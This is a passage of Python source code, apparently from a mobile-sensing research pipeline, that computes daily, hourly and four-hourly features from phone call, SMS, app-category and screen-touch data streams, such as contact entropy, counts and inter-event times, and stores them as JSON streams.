d.sample == appdata[j].sample \ and appdata[j - 1].start_time + threshold <= appdata[j].start_time: j += 1 if j > i + 1: appusage.append([d.start_time, appdata[j - 1].start_time, category]) i = j - 1 i += 1 return appusage def appusage_interval_list(self, data: List[DataPoint], appusage: List) -> List[int]: """ Helper function to get screen touch gap for specific app categories :param List(DataPoint) data: Phone screen touch data stream :param List appusage: list of app usage duration of specific app categories of the form [start_time, end_time, category] :return: A list of integers containing screen touch gap as in touch screen timestamp unit (milliseconds) :rtype: List(int) """ ret = [] i = 0 for a in appusage: while i < len(data) and data[i].start_time < a[0]: i += 1 last = 0 while i < len(data) and data[i].start_time <= a[1]: if last > 0: ret.append(int(data[i].sample - last)) last = data[i].sample i += 1 return ret def label_appusage_intervals(self, data: List[DataPoint], appusage: List, intervals: List, interval_label: List[str]) -> List[DataPoint]: """ Helper function to label screen touch in a fixed app category usage :param List(DataPoint) data: Phone touch screen data stream :param List appusage: List appusage: list of app usage duration of specific app categories of the form [start_time, end_time, category] :param intervals: List of integers containing screen touch gap as in touch screen timestamp unit (milliseconds) :param interval_label: A list of possible type of screen touch which are [typing, pause, reading, unknown] :return: Labelled touche interval :rtype: List(DataPoint) """ ret = [] i = 0 for a in appusage: while i < len(data) and data[i].start_time < a[0]: i += 1 last = None while i < len(data) and data[i].start_time <= a[1]: if last: diff = (data[i].start_time - last).total_seconds() for j in range(len(interval_label)): if intervals[j][0] <= diff <= intervals[j][1]: if len(ret) > 0: last_entry = ret.pop() if last_entry.end_time == last and last_entry.sample == interval_label[j]: ret.append(DataPoint(start_time=last_entry.start_time, end_time=data[i].start_time, offset=last_entry.offset, sample=last_entry.sample)) else: ret.append(last_entry) ret.append(DataPoint(start_time=last, end_time=data[i].start_time, offset=data[i].offset, sample=interval_label[j])) else: ret.append(DataPoint(start_time=last, end_time=data[i].start_time, offset=data[i].offset, sample=interval_label[j])) break; last = data[i].start_time i += 1 return ret def process_appusage_day_data(self, user_id: str, appcategorydata: List[DataPoint], input_appcategorystream: DataStream): """ Processing all app usage by category modules. :param str user_id: UUID of the stream owner :param List(DataPoint) appcategorydata: App category data stream :param DataStream input_appcategorystream: DataStream object of app category stream :return: """ data = {} category_datapoints = [] try: categories = list(set([y.sample[1] for y in appcategorydata if y.sample[1]])) for c in categories: d = self.get_appusage_duration_by_category(appcategorydata, [c], 300) if d: newd = [{"start_time": x[0], "end_time": x[1]} for x in d] data[c] = newd for interval in d: category_datapoints.append(DataPoint(interval[0], interval[1], appcategorydata[0].offset, c)) if data: st = appcategorydata[0].start_time.date() start_time = datetime.datetime.combine(st, datetime.time.min) start_time = start_time.replace(tzinfo=appcategorydata[0].start_time.tzinfo) end_time = datetime.datetime.combine(st, datetime.time.max) end_time = end_time.replace(tzinfo=appcategorydata[0].start_time.tzinfo) dp = DataPoint(start_time, end_time, appcategorydata[0].offset, data) self.store_stream(filepath="appusage_duration_by_category.json", input_streams=[input_appcategorystream], user_id=user_id, data=[dp], localtime=False) if category_datapoints: self.store_stream(filepath="appusage_by_category.json", input_streams=[input_appcategorystream], user_id=user_id, data=category_datapoints, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) def get_contact_entropy(self, data: List[str]) -> float: """ Helper method to calculate entropy of a list of contacts :param List(str) data: List of contacts :return: Entropy of the given contact list :rtype: float """ contact = {} for d in data: if d in contact: contact[d] += 1 else: contact[d] = 1 entropy = 0 for f in contact.values(): entropy -= f * math.log(f) return entropy def get_call_daily_entropy(self, data: List[DataPoint]) -> List[DataPoint]: """ Entropy of phone call for a whole day. :param List(DataPoint) data: Phone call number data stream :return: Entropy of phone call for 1 day window :rtype: List(DataPoint) or None """ if not data: return None entropy = self.get_contact_entropy([d.sample for d in data]) start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=entropy)] return new_data def get_call_hourly_entropy(self, data: List[DataPoint]) -> List[DataPoint]: """ Entropy of phone call for each hour in a day. :param List(DataPoint) data: Phone call number data stream :return: Entropy of phone call for 1 hour windows :rtype: List(DataPoint) or None """ if not data: return None new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) == 0: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=self.get_contact_entropy(datalist))) return new_data def get_call_four_hourly_entropy(self, data: List[DataPoint]) -> List[DataPoint]: """ Entropy of phone call for each four hour window in a day. :param List(DataPoint) data: Phone call number data stream :return: Entropy of phone call for 4 hour windows :rtype: List(DataPoint) or None """ if not data: return None new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) == 0: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=self.get_contact_entropy(datalist))) return new_data def get_sms_daily_entropy(self, data: List[DataPoint]) -> List[DataPoint]: """ Entropy of SMS for a whole day. :param List(DataPoint) data: SMS number data stream :return: Entropy of sms for 1 day window :rtype: List(DataPoint) or None """ if not data: return None entropy = self.get_contact_entropy([d.sample for d in data]) start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=entropy)] return new_data def get_sms_hourly_entropy(self, data: List[DataPoint]) -> List[DataPoint]: """ Entropy of SMS for each hour of a day. :param List(DataPoint) data: SMS number data stream :return: Entropy of SMS for 1 hour windows :rtype: List(DataPoint) or None """ if not data: return None new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) == 0: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=self.get_contact_entropy(datalist))) return new_data def get_sms_four_hourly_entropy(self, data: List[DataPoint]) -> List[DataPoint]: """ Entropy of SMS for each four hour window in a day. :param List(DataPoint) data: SMS number data stream :return: Entropy of SMS for 4 hour windows :rtype: List(DataPoint) or None """ if not data: return None new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) == 0: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=self.get_contact_entropy(datalist))) return new_data def get_call_sms_daily_entropy(self, calldata: List[DataPoint], smsdata: List[DataPoint]) -> List[DataPoint]: """ Entropy of phone call and SMS (combined) for a day. :param List(DataPoint) calldata: Phone call number data stream :param List(DataPoint) smsdata: SMS number data stream :return: Entropy of phone call and SMS for 1 day windows :rtype: List(DataPoint) or None """ data = calldata + smsdata if not data: return None data.sort(key=lambda x: x.start_time) entropy = self.get_contact_entropy([d.sample for d in data]) start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=entropy)] return new_data def get_call_sms_hourly_entropy(self, calldata: List[DataPoint], smsdata: List[DataPoint]) -> List[DataPoint]: """ Entropy of phone call and SMS (combined) for each one hour window in a day. :param List(DataPoint) calldata: Phone call number data stream :param List(DataPoint) smsdata: SMS number data stream :return: Entropy of phone call and SMS for 1 hour windows :rtype: List(DataPoint) or None """ data = calldata + smsdata if not data: return None data.sort(key=lambda x: x.start_time) new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) == 0: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=self.get_contact_entropy(datalist))) return new_data def get_call_sms_four_hourly_entropy(self, calldata: List[DataPoint], smsdata: List[DataPoint]) -> List[DataPoint]: """ Entropy of phone call and SMS (combined) for each four hour window in a day. :param List(DataPoint) calldata: Phone call number data stream :param List(DataPoint) smsdata: SMS number data stream :return: Entropy of phone call and SMS for 4 hour windows :rtype: List(DataPoint) or None """ data = calldata + smsdata if not data: return None data.sort(key=lambda x: x.start_time) new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) == 0: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=self.get_contact_entropy(datalist))) return new_data def get_total_call_daily(self, data: List[DataPoint]) -> List[DataPoint]: """ Number of phone calls in a day :param List(DataPoint) data: Phone call number data stream :return: Number of phone calls in a day :rtype: List(DataPoint) or None """ if not data: return None start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=len(data))] return new_data def get_total_call_hourly(self, data: List[DataPoint]) -> List[DataPoint]: """ Number of phone calls for each hour in a day. :param List(DataPoint) data: Phone call number data stream :return: number of phone calls for 1 hour windows :rtype: List(DataPoint) or None """ if not data: return None new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=len(datalist))) return new_data def get_total_call_four_hourly(self, data: List[DataPoint]) -> List[DataPoint]: """ Number of phone calls for each four hour in a day. :param List(DataPoint) data: Phone call number data stream :return: number of phone calls for 4 hour windows :rtype: List(DataPoint) or None """ if not data: return None new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=len(datalist))) return new_data def get_total_sms_daily(self, data: List[DataPoint]) -> List[DataPoint]: """ Number of SMS in a day :param List(DataPoint) data: SMS number data stream :return: Number of SMS in a day :rtype: List(DataPoint) """ if not data: return None start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=len(data))] return new_data def get_total_sms_hourly(self, data: List[DataPoint]) -> List[DataPoint]: """ Number of SMS for each hour in a day. :param List(DataPoint) data: SMS number data stream :return: number of sms for 1 hour windows :rtype: List(DataPoint) or None """ if not data: return None new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=len(datalist))) return new_data def get_total_sms_four_hourly(self, data: List[DataPoint]) -> List[DataPoint]: """ Number of SMS for each four hour in a day. :param List(DataPoint) data: SMS number data stream :return: number of SMS for 4 hour windows :rtype: List(DataPoint) """ if not data: return None new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=len(datalist))) return new_data def get_total_call_sms_daily(self, calldata: List[DataPoint], smsdata: List[DataPoint]) -> List[DataPoint]: """ Number of phone and SMS for a day. :param List(DataPoint) calldata: Phone call number data stream :param List(DataPoint) smsdata: SMS number data stream :return: Number of phone and SMS in 1 day windows :rtype: List(DataPoint) or None """ data = calldata + smsdata if not data: return None data.sort(key=lambda x: x.start_time) start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=len(data))] return new_data def get_total_call_sms_hourly(self, calldata: List[DataPoint], smsdata: List[DataPoint]) -> List[DataPoint]: """ Number of phone and SMS for each one hour of a day. :param List(DataPoint) calldata: Phone call number data stream :param List(DataPoint) smsdata: SMS number data stream :return: Number of phone and SMS for 1 hour windows :rtype: List(DataPoint) or None """ data = calldata + smsdata if not data: return None data.sort(key=lambda x: x.start_time) new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=len(datalist))) return new_data def get_total_call_sms_four_hourly(self, calldata: List[DataPoint], smsdata: List[DataPoint]) -> List[DataPoint]: """ Number of phone and SMS for each four hour window for a day. :param List(DataPoint) calldata: Phone call number data stream :param List(DataPoint) smsdata: SMS number data stream :return: Number of phone and SMS in 4 hour windows :rtype: List(DataPoint) or None """ data = calldata + smsdata if not data: return None data.sort(key=lambda x: x.start_time) new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=len(datalist))) return new_data def process_callsmsnumber_day_data(self, user_id: str, call_number_data: List[DataPoint], sms_number_data: List[DataPoint], input_callstream: DataStream, input_smsstream: DataStream): """ Process all phone call number and SMS number related modules :param str user_id: UUID of the stream owner :param List(DataPoint) call_number_data: Phone call number stream :param List(DataPoint) sms_number_data: SMS number stream :param DataStream input_callstream: DataStream object of phone call number :param DataStream input_smsstream: DataStream object of SMS call number :return: """ try: data = self.get_call_sms_daily_entropy(call_number_data, sms_number_data) if data: self.store_stream(filepath="call_sms_daily_entropy.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_call_sms_hourly_entropy(call_number_data, sms_number_data) if data: self.store_stream(filepath="call_sms_hourly_entropy.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_call_sms_four_hourly_entropy(call_number_data, sms_number_data) if data: self.store_stream(filepath="call_sms_four_hourly_entropy.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_call_daily_entropy(call_number_data) if data: self.store_stream(filepath="call_daily_entropy.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_call_hourly_entropy(call_number_data) if data: self.store_stream(filepath="call_hourly_entropy.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_call_four_hourly_entropy(call_number_data) if data: self.store_stream(filepath="call_four_hourly_entropy.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_sms_daily_entropy(sms_number_data) if data: self.store_stream(filepath="sms_daily_entropy.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_sms_hourly_entropy(sms_number_data) if data: self.store_stream(filepath="sms_hourly_entropy.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_sms_four_hourly_entropy(sms_number_data) if data: self.store_stream(filepath="sms_four_hourly_entropy.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_call_sms_daily(call_number_data, sms_number_data) if data: self.store_stream(filepath="total_call_sms_daily.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_call_sms_hourly(call_number_data, sms_number_data) if data: self.store_stream(filepath="total_call_sms_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_call_sms_four_hourly(call_number_data, sms_number_data) if data: self.store_stream(filepath="total_call_sms_four_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_call_daily(call_number_data) if data: self.store_stream(filepath="total_call_daily.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_call_hourly(call_number_data) if data: self.store_stream(filepath="total_call_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_call_four_hourly(call_number_data) if data: self.store_stream(filepath="total_call_four_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_sms_daily(sms_number_data) if data: self.store_stream(filepath="total_sms_daily.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_sms_hourly(sms_number_data) if data: self.store_stream(filepath="total_sms_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_sms_four_hourly(sms_number_data) if data: self.store_stream(filepath="total_sms_four_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) def process_callsmsstream_day_data(self, user_id: str, callstream: List[DataPoint], smsstream: List[DataPoint], input_callstream: DataStream, input_smsstream: DataStream): """ Process all the call and sms related features and store them as datastreams. :param str user_id: UUID of the stream owner :param List(DataPoint) callstream: Phone call duration data stream :param List(DataPoint) smsstream: SMS length data stream :param DataStream input_callstream: DataStream object of phone call stream :param DataStream input_smsstream: DataStream object of SMS call stream :return: """ try: data = self.average_inter_phone_call_sms_time_hourly(callstream, smsstream) if data: self.store_stream(filepath="average_inter_phone_call_sms_time_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_inter_phone_call_sms_time_four_hourly(callstream, smsstream) if data: self.store_stream(filepath="average_inter_phone_call_sms_time_four_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_inter_phone_call_sms_time_daily(callstream, smsstream) if data: self.store_stream(filepath="average_inter_phone_call_sms_time_daily.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_inter_phone_call_sms_time_daily(callstream, smsstream) if data: self.store_stream(filepath="variance_inter_phone_call_sms_time_daily.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_inter_phone_call_sms_time_hourly(callstream, smsstream) if data: self.store_stream(filepath="variance_inter_phone_call_sms_time_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_inter_phone_call_sms_time_four_hourly(callstream, smsstream) if data: self.store_stream(filepath="variance_inter_phone_call_sms_time_four_hourly.json", input_streams=[input_callstream, input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_inter_phone_call_time_hourly(callstream) if data: self.store_stream(filepath="average_inter_phone_call_time_hourly.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_inter_phone_call_time_four_hourly(callstream) if data: self.store_stream(filepath="average_inter_phone_call_time_four_hourly.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_inter_phone_call_time_daily(callstream) if data: self.store_stream(filepath="average_inter_phone_call_time_daily.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_inter_phone_call_time_hourly(callstream) if data: self.store_stream(filepath="variance_inter_phone_call_time_hourly.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_inter_phone_call_time_four_hourly(callstream) if data: self.store_stream(filepath="variance_inter_phone_call_time_four_hourly.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_inter_phone_call_time_daily(callstream) if data: self.store_stream(filepath="variance_inter_phone_call_time_daily.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_inter_sms_time_hourly(smsstream) if data: self.store_stream(filepath="average_inter_sms_time_hourly.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_inter_sms_time_four_hourly(smsstream) if data: self.store_stream(filepath="average_inter_sms_time_four_hourly.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_inter_sms_time_daily(smsstream) if data: self.store_stream(filepath="average_inter_sms_time_daily.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_inter_sms_time_hourly(smsstream) if data: self.store_stream(filepath="variance_inter_sms_time_hourly.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_inter_sms_time_four_hourly(smsstream) if data: self.store_stream(filepath="variance_inter_sms_time_four_hourly.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_inter_sms_time_daily(smsstream) if data: self.store_stream(filepath="variance_inter_sms_time_daily.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_call_duration_daily(callstream) if data: self.store_stream(filepath="average_call_duration_daily.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_call_duration_hourly(callstream) if data: self.store_stream(filepath="average_call_duration_hourly.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_call_duration_four_hourly(callstream) if data: self.store_stream(filepath="average_call_duration_four_hourly.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_sms_length_daily(smsstream) if data: self.store_stream(filepath="average_sms_length_daily.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_sms_length_hourly(smsstream) if data: self.store_stream(filepath="average_sms_length_hourly.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_sms_length_four_hourly(smsstream) if data: self.store_stream(filepath="average_sms_length_four_hourly.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_sms_length_daily(smsstream) if data: self.store_stream(filepath="variance_sms_length_daily.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_sms_length_hourly(smsstream) if data: self.store_stream(filepath="variance_sms_length_hourly.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_sms_length_four_hourly(smsstream) if data: self.store_stream(filepath="variance_sms_length_four_hourly.json", input_streams=[input_smsstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_call_duration_daily(callstream) if data: self.store_stream(filepath="variance_call_duration_daily.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_call_duration_hourly(callstream) if data: self.store_stream(filepath="variance_call_duration_hourly.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_call_duration_four_hourly(callstream) if data: self.store_stream(filepath="variance_call_duration_four_hourly.json", input_streams=[input_callstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) 